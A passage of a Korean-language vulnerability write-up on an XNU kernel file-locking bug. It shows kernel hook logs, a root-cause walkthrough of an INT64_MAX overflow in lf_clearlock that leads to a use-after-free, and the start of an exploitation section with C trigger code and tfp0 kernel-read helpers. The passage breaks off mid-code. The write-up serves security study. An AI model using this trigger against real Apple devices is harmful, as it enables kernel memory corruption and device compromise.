head=0xffffffe19cc90e58 vnode=0xffffffe19cc90d90 next=0 blk_first=0 blk_last=0xffffffe4cdf114d8 block_next=0 block_prev=0 owner=0\n[  871.341514]: lf_findoverlap ret=0 prev_value=0xffffffe4cdf18750 overlap_value=0\n[  871.341517]: lf_findoverlap_hook lf=0xffffffe4cdf18720 lock=0xffffffe4cdf114a0 type=1 prev=0xffffffe804c93650 overlap=0xffffffe804c93648\n[  871.341521]:   lf flags=0x400 type=1 start=10 end=19 id=0xffffffe1a06f6700 head=0xffffffe19cc90e58 vnode=0xffffffe19cc90d90 next=0 blk_first=0 blk_last=0xffffffe4cdf18758 block_next=0 block_prev=0 owner=0\n[  871.341527]:   lock flags=0x400 type=1 start=9223372036854775807 end=-1 id=0xffffffe1a06f6700 head=0xffffffe19cc90e58 vnode=0xffffffe19cc90d90 next=0 blk_first=0 blk_last=0xffffffe4cdf114d8 block_next=0 block_prev=0 owner=0\n[  871.341534]: lf_findoverlap ret=0 prev_value=0xffffffe4cdf18750 overlap_value=0\n\n[  871.341618]: lf_advlock_hook ap=0xffffffe80ffe3880\n[  871.341623]:   desc=0xfffffff0256ced90 vp=0xffffffe19cc90d90 id=0xffffffe1a06f6700 op=2 fl=0xffffffe80ffe39b0 flags=0x400 context=0xffffffe80ffe3970 timeout=0\n[  871.341629]:   flock start=30 len=9223372036854775778 pid=0 type=2 whence=0\n[  871.341634]: lf_clearlock_hook unlock=0xffffffe4cdf108a0\n[  871.341636]:   unlock flags=0x400 type=2 start=30 end=9223372036854775807 id=0xffffffe1a06f6700 head=0xffffffe19cc90e58 vnode=0xffffffe19cc90d90 next=0 blk_first=0 blk_last=0xffffffe4cdf108d8 block_next=0 block_prev=0 owner=0\n[  871.341644]: lf_findoverlap_hook lf=0xffffffe4cdf18720 lock=0xffffffe4cdf108a0 type=1 prev=0xffffffe80ffe3480 overlap=0xffffffe80ffe3488\n[  871.341648]:   lf flags=0x400 type=1 start=10 end=19 id=0xffffffe1a06f6700 head=0xffffffe19cc90e58 vnode=0xffffffe19cc90d90 next=0xffffffe4cdf114a0 blk_first=0 blk_last=0xffffffe4cdf18758 block_next=0 block_prev=0 owner=0\n[  871.341655]:   lock flags=0x400 type=2 start=30 end=9223372036854775807 id=0xffffffe1a06f6700 head=0xffffffe19cc90e58 vnode=0xffffffe19cc90d90 next=0 blk_first=0 blk_last=0xffffffe4cdf108d8 block_next=0 block_prev=0 owner=0\n[  871.341662]: lf_findoverlap ret=5 prev_value=0xffffffe4cdf18750 overlap_value=0xffffffe4cdf114a0\n[  871.341666]: kfree_ext_hook heap=0xfffffff023c5e5d0 addr=0xffffffe4cdf108a0 size=0xffffffffffffffff\n\n[  871.341684]: lf_advlock_hook ap=0xffffffe80ffe3b70\n[  871.341686]:   desc=0xfffffff0256ced90 vp=0xffffffe19cc90d90 id=0xffffffe1a06f6700 op=8 fl=0xffffffe80ffe39b0 flags=0x400 context=0xffffffe80ffe3970 timeout=0\n[  871.341692]:   flock start=15 len=10 pid=0 type=1 whence=0\n[  871.341695]: lf_findoverlap_hook lf=0xffffffe4cdf18720 lock=0xffffffe4cdf108a0 type=2 prev=0xffffffe80ffe3660 overlap=0xffffffe80ffe3658\n[  871.341699]:   lf flags=0x400 type=1 start=10 end=19 id=0xffffffe1a06f6700 head=0xffffffe19cc90e58 vnode=0xffffffe19cc90d90 next=0xffffffe4cdf114a0 blk_first=0 blk_last=0xffffffe4cdf18758 block_next=0 block_prev=0 owner=0\n[  871.341707]:   lock flags=0x400 type=1 start=15 end=24 id=0xffffffe1a06f6700 head=0xffffffe19cc90e58 vnode=0xffffffe19cc90d90 next=0 blk_first=0 blk_last=0xffffffe4cdf108d8 block_next=0 block_prev=0 owner=0\n[  871.341713]: lf_findoverlap ret=0 prev_value=0xffffffe4cdf114d0 overlap_value=0\n[  871.341716]: lf_findoverlap_hook lf=0xffffffe4cdf18720 lock=0xffffffe4cdf108a0 type=1 prev=0xffffffe80ffe3650 overlap=0xffffffe80ffe3648\n[  871.341721]:   lf flags=0x400 type=1 start=10 end=19 id=0xffffffe1a06f6700 head=0xffffffe19cc90e58 vnode=0xffffffe19cc90d90 next=0xffffffe4cdf114a0 blk_first=0 blk_last=0xffffffe4cdf18758 block_next=0 block_prev=0 owner=0\n[  871.341727]:   lock flags=0x400 type=1 start=15 end=24 id=0xffffffe1a06f6700 head=0xffffffe19cc90e58 vnode=0xffffffe19cc90d90 next=0 blk_first=0 blk_last=0xffffffe4cdf108d8 block_next=0 block_prev=0 owner=0\n[  871.341734]: lf_findoverlap ret=4 prev_value=0xffffffe19cc90e58 overlap_value=0xffffffe4cdf18720\n[  871.341737]: lf_findoverlap_hook lf=0xffffffe4cdf114a0 lock=0xffffffe4cdf108a0 type=1 prev=0xffffffe80ffe3650 overlap=0xffffffe80ffe3648\n[  871.341742]:   lf flags=0x400 type=1 start=-9223372036854775808 end=-1 id=0xffffffe1a06f6700 head=0xffffffe19cc90e58 vnode=0xffffffe19cc90d90 next=0 blk_first=0 blk_last=0xffffffe4cdf114d8 block_next=0 block_prev=0 owner=0\n[  871.341748]:   lock flags=0x400 type=1 start=15 end=24 id=0xffffffe1a06f6700 head=0xffffffe19cc90e58 vnode=0xffffffe19cc90d90 next=0xffffffe4cdf114a0 blk_first=0 blk_last=0xffffffe4cdf108d8 block_next=0 block_prev=0 owner=0\n[  871.341755]: lf_findoverlap ret=2 prev_value=0xffffffe4cdf108d0 overlap_value=0xffffffe4cdf114a0\n[  871.341758]: kfree_ext_hook heap=0xfffffff023c5e5d0 addr=0xffffffe4cdf108a0 size=0xffffffffffffffff\n<\/code><\/pre>\n<h3>1\ubc88\uca30 \uc7a0\uae08 (A) \uc0dd\uc131 (start=10, end=19)<\/h3>\n<p>\uc6b0\uc120, \uc720\uc800\ub79c\ub4dc\uc5d0\uc11c <code>ofd_set_lock<\/code>\uc5d0\uc11c \uc2e4\ud589\ub418\ub294 <code>fcntl<\/code>\uc740 \ucee4\ub110\uc758 <code>sys_fcntl<\/code> \u2192 <code>sys_fcntl_nocancel<\/code> \uc5d0\uc11c \ucc98\ub9ac\ud55c\ub2e4.<\/p>\n<p><code>sys_fcntl_nocancel<\/code> \uc740 \ub2e4\uc2dc\ud55c\ubc88 <code>VNOP_ADVLOCK<\/code> \ud568\uc218\ub97c \ud638\ucd9c\ud558\uba70,<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/xnu_1day_practice\/refs\/heads\/main\/NoCVE-CorunaPEPendulum\/attachment\/Screenshot_2026-07-24_at_7.52.31_PM.png\" alt=\"Screenshot 2026-07-24 at 7.52.31\u202fPM.png\"><\/p>\n<p>\uc5f4\uc5b4\ub454 \ud30c\uc77c\uc774 <code>\/dev\/urandom<\/code>\uc774\uae30 \ub54c\ubb38\uc5d0 <code>VLOCKLOCAL<\/code>\uc774 \ud56d\uc0c1 \uc138\ud2b8\ub418\uc788\ub2e4.\n\ub530\ub77c\uc11c <code>if_advlock<\/code> \ud568\uc218\ub97c \ud638\ucd9c\ud55c\ub2e4.<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/xnu_1day_practice\/refs\/heads\/main\/NoCVE-CorunaPEPendulum\/attachment\/Screenshot_2026-07-24_at_7.53.12_PM.png\" alt=\"Screenshot 2026-07-24 at 7.53.12\u202fPM.png\"><\/p>\n<p><code>if_advlock<\/code> \ud568\uc218\uc5d0\uc11c <code>switch (fl-&gt;l_whence)<\/code> \uad6c\ubb38\uc744 \uc0b4\ud3b4\ubcf4\uba74,\nstart, oadd, end\ub294 \ub2e4\uc74c\uacfc \uac19\ub2e4.<\/p>\n<pre><code class=\"language-c\">start = 10\noadd = 10-1 = 9\nend = 10+9=1 \n<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/xnu_1day_practice\/refs\/heads\/main\/NoCVE-CorunaPEPendulum\/attachment\/Screenshot_2026-07-24_at_8.13.15_PM.png\" alt=\"Screenshot 2026-07-24 at 8.13.15\u202fPM.png\"><\/p>\n<p>\ub2e4\uc74c\uc73c\ub85c, <code>if_advlock<\/code> \ud568\uc218\uc5d0\uc11c <code>switch (ap-&gt;a_op)<\/code> \uad6c\ubb38\uc744 \uc0b4\ud3b4\ubcf4\uba74,\n<code>F_UNLCK<\/code> \uc5d0 \ud574\ub2f9\ub418\ubbc0\ub85c <code>lf_setlock<\/code>\uc744 \ud638\ucd9c\ud55c\ub2e4.<\/p>\n<p><code>lf_setlock<\/code> \ub97c \uc0b4\ud3b4\ubcf4\uc790.\n\ucd5c\ucd08\ub85c \uc7a0\uae08 \ubaa9\ub85d\uc744 \uc0dd\uc131\ud558\ub294 \uac83\uc774\uae30 \ub54c\ubb38\uc5d0 <code>ovcase<\/code>\uac00 0 (OVERLAP_NONE)\uc774 \ub41c\ub2e4.<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/xnu_1day_practice\/refs\/heads\/main\/NoCVE-CorunaPEPendulum\/attachment\/Screenshot_2026-07-24_at_8.19.51_PM.png\" alt=\"Screenshot 2026-07-24 at 8.19.51\u202fPM.png\"><\/p>\n<p>\uacb0\uacfc\uc801\uc73c\ub85c, lock list\ub294 \uc544\ub798\uc640 \uac19\uc774 \ub9cc\ub4e4\uc5b4\uc9c4\ub2e4. head \u2192 (A) \u2192 NULL<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/xnu_1day_practice\/refs\/heads\/main\/NoCVE-CorunaPEPendulum\/attachment\/Screenshot_2026-07-24_at_8.32.06_PM.png\" alt=\"Screenshot 2026-07-24 at 8.32.06\u202fPM.png\"><\/p>\n<h3>2\ubc88\uc9f8 \uc7a0\uae08 (B) \uc0dd\uc131 (start=INT64_MAX, end=EOF)<\/h3>\n<p>\uc804\uc5d0 \ubd10\uc654\ub4ef\uc774, <code>fcntl<\/code> \u2192 <code>sys_fcntl<\/code> \u2192 <code>sys_fcntl_nocancel<\/code> \u2192 <code>VOP_ADVLOCK<\/code> \u2192<code>lf_advlock<\/code> \uc21c\uc73c\ub85c \ud638\ucd9c\ub41c\ub2e4.<\/p>\n<p><code>lf_advlock<\/code>\uc5d0\uc11c start=9223372036854775807 (INT64_MAX), end=-1 (EOF)\ub85c \uc9c0\uc815\ub41c\ub2e4.<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/xnu_1day_practice\/refs\/heads\/main\/NoCVE-CorunaPEPendulum\/attachment\/Screenshot_2026-07-24_at_8.25.29_PM.png\" alt=\"Screenshot 2026-07-24 at 8.25.29\u202fPM.png\"><\/p>\n<p><code>lf_setlock<\/code>\ub97c \uc0b4\ud3b4\ubcf4\uc790.\n\uae30\uc874 A\uc640 \uacb9\uce58\ub294 \uc7a0\uae08 \ubd80\ubd84\uc774 \uc5c6\uae30 \ub54c\ubb38\uc5d0 <code>lf_findoverlap<\/code>\uc5d0\uc11c 0 (OVERLAP_NONE)\uc744 \ubc18\ud658\ud55c\ub2e4.<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/xnu_1day_practice\/refs\/heads\/main\/NoCVE-CorunaPEPendulum\/attachment\/Screenshot_2026-07-24_at_8.19.51_PM.png\" alt=\"Screenshot 2026-07-24 at 8.19.51\u202fPM.png\"><\/p>\n<p>\ub530\ub77c\uc11c lock list\uac00 \uc544\ub798\ucc98\ub7fc \ub9cc\ub4e4\uc5b4\uc9c4\ub2e4. head  \u2192 (A) \u2192 (B) \u2192 NULL<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/xnu_1day_practice\/refs\/heads\/main\/NoCVE-CorunaPEPendulum\/attachment\/Screenshot_2026-07-24_at_8.31.29_PM.png\" alt=\"Screenshot 2026-07-24 at 8.31.29\u202fPM.png\"><\/p>\n<h3>(U) \uc7a0\uae08 \ud574\uc81c (start=30, end=INT64_MAX) &#8211;  \uc624\ubc84\ud50c\ub85c\uc6b0 \ubc1c\uc0dd\uc73c\ub85c \uc7a0\uae08 B\uc758 start\uac00 INT64_MIN\uc73c\ub85c \uc218\uc815\ub428<\/h3>\n<p><code>if_advlock<\/code> \ud568\uc218\uc5d0\uc11c <code>switch (fl-&gt;l_whence)<\/code> \uad6c\ubb38\uc744 \uc0b4\ud3b4\ubcf4\uba74,\nstart, oadd, end\ub294 \ub2e4\uc74c\uacfc \uac19\ub2e4.<\/p>\n<pre><code class=\"language-c\">start=30, \noadd = 9223372036854775778 -1 = 9223372036854775777,\nend = 30 + 9223372036854775777 = 9223372036854775807 (INT64_MAX)\n<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/xnu_1day_practice\/refs\/heads\/main\/NoCVE-CorunaPEPendulum\/attachment\/Screenshot_2026-07-24_at_8.40.15_PM.png\" alt=\"Screenshot 2026-07-24 at 8.40.15\u202fPM.png\"><\/p>\n<p>\uae30\uc874 (A), (B) \uc694\uccad \ub54c\uc640\ub294 \ub2ec\ub9ac <code>lf_clearlock<\/code>\uc744 \ud638\ucd9c\ud558\uba70,<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/xnu_1day_practice\/refs\/heads\/main\/NoCVE-CorunaPEPendulum\/attachment\/Screenshot_2026-07-24_at_8.42.19_PM.png\" alt=\"Screenshot 2026-07-24 at 8.42.19\u202fPM.png\"><\/p>\n<p><code>lf_clearlock<\/code>\uc5d0\uc11c <code>lf_findoverlap<\/code>\uc744 \uc0b4\ud3b4\ubcf4\uba74,<\/p>\n<p>(B) = [start=INT64_MAX, end=EOF]\n(U) = [start=30, end=INT64_MAX]<\/p>\n<p>(B)\ub294 (U)\uc758 \ub9c8\uc9c0\ub9c9 \uc704\uce58\uc5d0\uc11c \uc2dc\uc791\ud558\uc5ec EOF\uae4c\uc9c0 \uc774\uc5b4\uc9c0\ubbc0\ub85c, 5 (OVERLAP_ENDS_AFTER_LOCK)\ub97c \ubc18\ud658\ud55c\ub2e4.<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/xnu_1day_practice\/refs\/heads\/main\/NoCVE-CorunaPEPendulum\/attachment\/Screenshot_2026-07-24_at_8.45.02_PM.png\" alt=\"Screenshot 2026-07-24 at 8.45.02\u202fPM.png\"><\/p>\n<p>\uc5ec\uae30\uc11c \ubb38\uc81c\uc778 \uc810\uc740, <code>case OVERLAP_ENDS_AFTER_LOCK:<\/code> \uad6c\ubb38\uc5d0\uc11c\nINT64_MAX\uc5d0 1\uc774 \ub354\ud574\uc9d0\uc73c\uc368, \uc624\ubc84\ud50c\ub85c\uc6b0\uac00 \ubc1c\uc0dd\ud55c\ub2e4.\n\ub530\ub77c\uc11c (B)\uc758 <code>start<\/code>\uac00 INT64_MIN\uc73c\ub85c \uc218\uc815\ub41c\ub2e4.<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/xnu_1day_practice\/refs\/heads\/main\/NoCVE-CorunaPEPendulum\/attachment\/Screenshot_2026-07-24_at_8.48.47_PM.png\" alt=\"Screenshot 2026-07-24 at 8.48.47\u202fPM.png\"><\/p>\n<p>\ud3ec\uc778\ud130 \uc5f0\uacb0\uc740 \uc190\uc0c1\ub418\uc9c0 \uc54a\uc558\uc9c0\ub9cc, \ub354 \uc791\uc740 start \uac12\uc744 \uac00\uc9c4 (B)\uac00 <strong>\uc815\ub82c\ub418\uc5b4 \uc788\uc5b4\uc57c \ud558\ub294 \uc7a0\uae08 \ubaa9\ub85d\uc5d0\uc11c<\/strong> (A) \ub4a4\uc5d0 \ubc30\uce58\ub418\uc5c8\ub2e4.<\/p>\n<p>\ucd94\ud6c4 \ub2e4\uc74c \u00a9 [start=15, end=24] \uc694\uccad\uc5d0\uc11c \uc798\ubabb\ub41c \uacb9\uce68 \ud310\uc815\uacfc UAF\ub97c \uc720\ubc1c\ud558\uae30 \uc704\ud574 \uc758\ub3c4\ub41c \uc911\uac04 \uc190\uc0c1 \uc0c1\ud0dc\ub97c \ub744\uc6b0\uac8c \ub41c\ub2e4.<\/p>\n<p>\uacb0\uacfc\uc801\uc73c\ub85c, lock list\ub294 \uc544\ub798\uc640 \uac19\uc774 \ub9cc\ub4e4\uc5b4\uc9c4\ub2e4.<\/p>\n<p>head \u2192 (A) \u2192 (<strong>start\uac00 INT64_MIN\uc73c\ub85c \uc218\uc815\ub41c<\/strong> B) \u2192 NULL<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/xnu_1day_practice\/refs\/heads\/main\/NoCVE-CorunaPEPendulum\/attachment\/Screenshot_2026-07-24_at_8.57.59_PM.png\" alt=\"Screenshot 2026-07-24 at 8.57.59\u202fPM.png\"><\/p>\n<h3>3\ubc88\uca30 \uc7a0\uae08 \u00a9 \uc0dd\uc131 (start=15, end=24)<\/h3>\n<p><code>if_advlock<\/code> \ud568\uc218\uc5d0\uc11c <code>switch (fl-&gt;l_whence)<\/code> \uad6c\ubb38\uc744 \uc0b4\ud3b4\ubcf4\uba74,\nstart, oadd, end\ub294 \ub2e4\uc74c\uacfc \uac19\ub2e4.<\/p>\n<pre><code class=\"language-c\">start = 15, \noadd = 10 -1 = 9,\nend = 15 + 9 = 24\n<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/xnu_1day_practice\/refs\/heads\/main\/NoCVE-CorunaPEPendulum\/attachment\/Screenshot_2026-07-24_at_9.07.45_PM.png\" alt=\"Screenshot 2026-07-24 at 9.07.45\u202fPM.png\"><\/p>\n<p><code>lf_setlock<\/code>\uc744 \uc0b4\ud3b4\ubcf4\uc790.<\/p>\n<p>for \ubc18\ubcf5\ub8e8\ud2f4 \uc911 \uccab\ubc88\uc9f8 <code>lf_overlap<\/code>\uc758 \uac12\uc744 \uc54c\uc544\ubcf4\uc790\uba74,<\/p>\n<p>(A)\ub294 [start=10, end=19]\uc600\uace0, (A)\uc758 next\ub294 (B)\uc600\uc9c0\ub9cc, \uc0c8\ub85c\uc6b4 \u00a9\ub294 [start=15, end=24]\uc774\ub2e4.<\/p>\n<p>\uadf8 \uacb0\uacfc, (A)\ub294 \u00a9\ubcf4\ub2e4 \uc55e\uc5d0\uc11c \uc2dc\uc791\ud558\uace0 [start=15, end=19] \uad6c\uac04\uc5d0\uc11c \u00a9\uc640 \uacb9\uce58\ubbc0\ub85c,\n4(OVERLAP_STARTS_BEFORE_LOCK)\ub97c \ubc18\ud658\ud55c\ub2e4.<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/xnu_1day_practice\/refs\/heads\/main\/NoCVE-CorunaPEPendulum\/attachment\/Screenshot_2026-07-24_at_9.13.32_PM.png\" alt=\"Screenshot 2026-07-24 at 9.13.32\u202fPM.png\"><\/p>\n<p><code>OVERLAP_STARTS_BEFORE_LOCK case<\/code> \uad6c\ubb38\uc5d0 \uc758\ud558\uc5ec, lock list \uc21c\uc11c\uac00 \ubc14\ub00c\uac8c \ub418\ub294\ub370.<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/xnu_1day_practice\/refs\/heads\/main\/NoCVE-CorunaPEPendulum\/attachment\/Screenshot_2026-07-24_at_9.13.55_PM.png\" alt=\"Screenshot 2026-07-24 at 9.13.55\u202fPM.png\"><\/p>\n<p>\uacb0\uacfc\uc801\uc73c\ub85c, lock list\ub294 \uc544\ub798\uc640 \uac19\uc774 \ub9cc\ub4e4\uc5b4\uc9c4\ub2e4.  A\uc640 B \uc0ac\uc774\uc5d0 C\uac00 \uc0dd\uae34\ub2e4\uace0 \ubcfc \uc218 \uc788\ub2e4.<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/xnu_1day_practice\/refs\/heads\/main\/NoCVE-CorunaPEPendulum\/attachment\/Screenshot_2026-07-24_at_9.16.44_PM.png\" alt=\"Screenshot 2026-07-24 at 9.16.44\u202fPM.png\"><\/p>\n<p>for \ubc18\ubcf5\ub8e8\ud2f4 \uc911 \ub450\ubc88\uc9f8 <code>lf_overlap<\/code> \uac12\uc744 \uc54c\uc544\ubcf4\uc790\uba74,<\/p>\n<p>\ud6c4\ud0b9 \uacb0\uacfc\uc5d0\uc11c B.start=INT64_MIN\uc774\uace0, C.next = B\uc778 \uac83\uc744 \uc54c \uc218 \uc788\ub2e4. \uc774\ub294 \uc774\uc804\uc758 ret = 4 \ucc98\ub9ac\uac00 C\ub97c A\uc640 B \uc0ac\uc774\uc5d0 \uc5f0\uacb0\ud588\uc74c\uc744 \ud655\uc778\uc2dc\ucf1c\uc900\ub2e4.<\/p>\n<p>\ub530\ub77c\uc11c \uc190\uc0c1\ub41c B = [INT64_MIN, EOF]\ub294 C = [15, 24] \uc804\uccb4\ub97c \ud3ec\ud568\ud55c\ub2e4\uace0 \ud310\uc815\ub418\ubbc0\ub85c, 2(=OVERLAP_CONTAINS_LOCK)\uc744 \ubc18\ud658\ud55c\ub2e4.<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/xnu_1day_practice\/refs\/heads\/main\/NoCVE-CorunaPEPendulum\/attachment\/Screenshot_2026-07-24_at_9.18.51_PM.png\" alt=\"Screenshot 2026-07-24 at 9.18.51\u202fPM.png\"><\/p>\n<p>\uc190\uc0c1\ub41c (B)\ub294 \u00a9 \uc804\uccb4\ub97c \ud3ec\ud568\ud55c\ub2e4\uace0 \ud310\uc815\ub418\uba70,\n(B)\uc640 \u00a9\uac00 \uac19\uc740 F_RDLCK\uc744 \uac00\uc9c0\ubbc0\ub85c, <strong>\u00a9\ub294 \ubd88\ud544\uc694\ud55c \uc911\ubcf5 \uc7a0\uae08\uc73c\ub85c \ucc98\ub9ac\ub418\uc5b4 \ud574\uc81c\ub41c\ub2e4!<\/strong><\/p>\n<p><strong>\ubb38\uc81c\ub294 \u00a9\uac00 \uc774\ubbf8 \ubaa9\ub85d\uc5d0 \uc5f0\uacb0\ub418\uc5b4 \uc788\ub294\ub370\ub3c4,\n\uba3c\uc800 \ubaa9\ub85d\uc5d0\uc11c \uc81c\uac70\ub418\uc9c0 \uc54a\uc740 \ucc44 FREE\ub41c\ub2e4\ub294 \uc810\uc774\ub2e4.<\/strong><\/p>\n<p>\ub530\ub77c\uc11c \ub2e4\uc74c\uacfc \uac19\uc740 \uc5f0\uacb0\uc774 \uadf8\ub300\ub85c \uc720\uc9c0\ub41c\ub2e4.\nA.next = C\nC.next = B<\/p>\n<p>C\uac00 \ud574\uc81c\ub418\uae30 \uc804\uc5d0\ub294 C \uc548\uc5d0 C.next = B\uac00 \ub4e4\uc5b4\uc788\ub2e4.<\/p>\n<p>\ud558\uc9c0\ub9cc C\uac00 \ud574\uc81c\ub41c \ud6c4\uc5d0\ub294 C\uc758 \uba54\ubaa8\ub9ac \ub0b4\uc6a9\uc774 \ub354 \uc774\uc0c1 \ubcf4\uc7a5\ub418\uc9c0 \uc54a\uc73c\uba70,\n\uadf8 \uacb0\uacfc dangling pointer\uac00 \ub0a8\uac8c\ub41c\ub2e4.<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/xnu_1day_practice\/refs\/heads\/main\/NoCVE-CorunaPEPendulum\/attachment\/Screenshot_2026-07-24_at_9.21.44_PM.png\" alt=\"Screenshot 2026-07-24 at 9.21.44\u202fPM.png\"><\/p>\n<h2>Exploitation<\/h2>\n<h3>1. \ubc84\uadf8 \ud2b8\ub9ac\uac70<\/h3>\n<p>\uc774\ubbf8 Root Cause\uc5d0\uc11c\ub3c4 \uc0b4\ud3b4\ubd24\uc9c0\ub9cc, xnuspy\uac00 \uc9c0\uc6d0\ub418\uc9c0 \uc54a\ub294 \ud658\uacbd\uc5d0\uc11c\ub3c4 \ucde8\uc57d\uc810\uc744 \uc27d\uac8c \uc774\ud574\ud560 \uc218 \uc788\ub3c4\ub85d ENABLE_HELPER \ucf54\ub4dc\ub97c \ucd94\uac00\ud558\uc600\ub2e4. \uc2e4\ud589 \uacb0\uacfc\ub97c \uc0b4\ud3b4\ubcf4\uc790.<\/p>\n<pre><code class=\"language-c\">int main(void)\n{\n... \n    \/\/ 000000000000512C\n    \/\/ Trigger vuln\n    \/\/ head -&gt; A[10,14] -&gt; C[15,24](FREED) -&gt; B[INT64_MIN,EOF] -&gt; NULL\n    \/\/ The problem is that (C) is FREEd without first being removed from the list, \n    \/\/ even though it is already linked to the list.\n\n    \/\/ still preserves like:\n    \/\/ A.next = C\n    \/\/ C.next = B\n\n    \/\/ But after C is freed, however, the contents of C's memory are no longer guaranteed, \n    \/\/ leaving a dangling pointer.\n\n\tif (ofd_set_lock(urandom_fd, F_RDLCK, 10, 10) != 0)  {\n\t\treturn -1;\n\t}\n#if ENABLE_HELPER \n    uint64_t urandom_vnode = 0;\n    uint64_t urandom_v_lockf = 0;\n    uint64_t lf_start = 0; uint64_t lf_end = 0;\n    uint64_t lf_head = 0;   uint64_t lf_next = 0;\n\n    urandom_vnode = get_vnode_by_fd(urandom_fd);\n    printf(&quot;[STAGE1] urandom_vnode = 0x%llX\\n&quot;, urandom_vnode);\n    urandom_v_lockf = tfp0_kread64(urandom_vnode + off_vnode_v_lockf);\n    printf(&quot;[STAGE1] v_lockf(A) = 0x%llX\\n&quot;, urandom_v_lockf);\n    lf_start = tfp0_kread64(urandom_v_lockf + off_lockf_lf_start);\n    lf_end = tfp0_kread64(urandom_v_lockf + off_lockf_lf_end);\n    printf(&quot;[STAGE1] v_lockf(A)-&gt;lf_start = %lld, lf_end = %lld\\n&quot;, lf_start, lf_end);\n    lf_head = tfp0_kread64(urandom_v_lockf + off_lockf_lf_head);\n    lf_next = tfp0_kread64(urandom_v_lockf + off_lockf_lf_next);\n    printf(&quot;[STAGE1] v_lockf(A)-&gt;lf_head = 0x%llX, lf_next = 0x%llX\\n&quot;, lf_head, lf_next);\n    printf(&quot;======================== \\n&quot;);\n#endif\n\n\tif (ofd_set_lock(urandom_fd, F_RDLCK, (off_t)INT64_MAX, (off_t)0) &lt; 0) {\n        return -1;\n    }\n#if ENABLE_HELPER \n    urandom_v_lockf = tfp0_kread64(urandom_vnode + off_vnode_v_lockf);\n    printf(&quot;[STAGE1.1] v_lockf(A) = 0x%llX\\n&quot;, urandom_v_lockf);\n    lf_start = tfp0_kread64(urandom_v_lockf + off_lockf_lf_start);\n    lf_end = tfp0_kread64(urandom_v_lockf + off_lockf_lf_end);\n    printf(&quot;[STAGE1.1] v_lockf(A)-&gt;lf_start = %lld, lf_end = %lld\\n&quot;, lf_start, lf_end);\n    lf_head = tfp0_kread64(urandom_v_lockf + off_lockf_lf_head);\n    lf_next = tfp0_kread64(urandom_v_lockf + off_lockf_lf_next);\n    printf(&quot;[STAGE1.1] v_lockf(A)-&gt;lf_head = 0x%llX, lf_next = 0x%llX\\n&quot;, lf_head, lf_next);\n\n    if(lf_next) {\n        urandom_v_lockf = lf_next;\n        printf(&quot;[STAGE1.1] v_lockf(B) = 0x%llX\\n&quot;, urandom_v_lockf);\n        lf_start = tfp0_kread64(urandom_v_lockf + off_lockf_lf_start);\n        lf_end = tfp0_kread64(urandom_v_lockf + off_lockf_lf_end);\n        printf(&quot;[STAGE1.1] v_lockf(B)-&gt;lf_start = %lld, lf_end = %lld\\n&quot;, lf_start, lf_end);\n        lf_head = tfp0_kread64(urandom_v_lockf + off_lockf_lf_head);\n        lf_next = tfp0_kread64(urandom_v_lockf + off_lockf_lf_next);\n        printf(&quot;[STAGE1.1] v_lockf(B)-&gt;lf_head = 0x%llX, lf_next = 0x%llX\\n&quot;, lf_head, lf_next);\n    } else {\n        printf(&quot;[STAGE1.1] v_lockf(B) should be exists!\\n&quot;); while(1) {};\n    }\n    printf(&quot;======================== \\n&quot;);\n#endif\n\n\tif (ofd_set_lock(urandom_fd, F_UNLCK, (off_t)30, (off_t)0x7fffffffffffffe2ULL) &lt; 0) {\n        return -1;\n    }\n#if ENABLE_HELPER \n    urandom_v_lockf = tfp0_kread64(urandom_vnode + off_vnode_v_lockf);\n    printf(&quot;[STAGE1.2] v_lockf(A) = 0x%llX\\n&quot;, urandom_v_lockf);\n    lf_start = tfp0_kread64(urandom_v_lockf + off_lockf_lf_start);\n    lf_end = tfp0_kread64(urandom_v_lockf + off_lockf_lf_end);\n    printf(&quot;[STAGE1.2] v_lockf(A)-&gt;lf_start = %lld, lf_end = %lld\\n&quot;, lf_start, lf_end);\n    lf_head = tfp0_kread64(urandom_v_lockf + off_lockf_lf_head);\n    lf_next = tfp0_kread64(urandom_v_lockf + off_lockf_lf_next);\n    printf(&quot;[STAGE1.2] v_lockf(A)-&gt;lf_head = 0x%llX, lf_next = 0x%llX\\n&quot;, lf_head, lf_next);\n\n    if(lf_next) {\n        urandom_v_lockf = lf_next;\n        printf(&quot;[STAGE1.2] v_lockf(B) = 0x%llX\\n&quot;, urandom_v_lockf);\n        lf_start = tfp0_kread64(urandom_v_lockf + off_lockf_lf_start);\n        lf_end = tfp0_kread64(urandom_v_lockf + off_lockf_lf_end);\n        printf(&quot;[STAGE1.2] v_lockf(B)-&gt;lf_start = %lld, lf_end = %lld\\n&quot;, lf_start, lf_end);\n        lf_head = tfp0_kread64(urandom_v_lockf + off_lockf_lf_head);\n        lf_next = tfp0_kread64(urandom_v_lockf + off_lockf_lf_next);\n        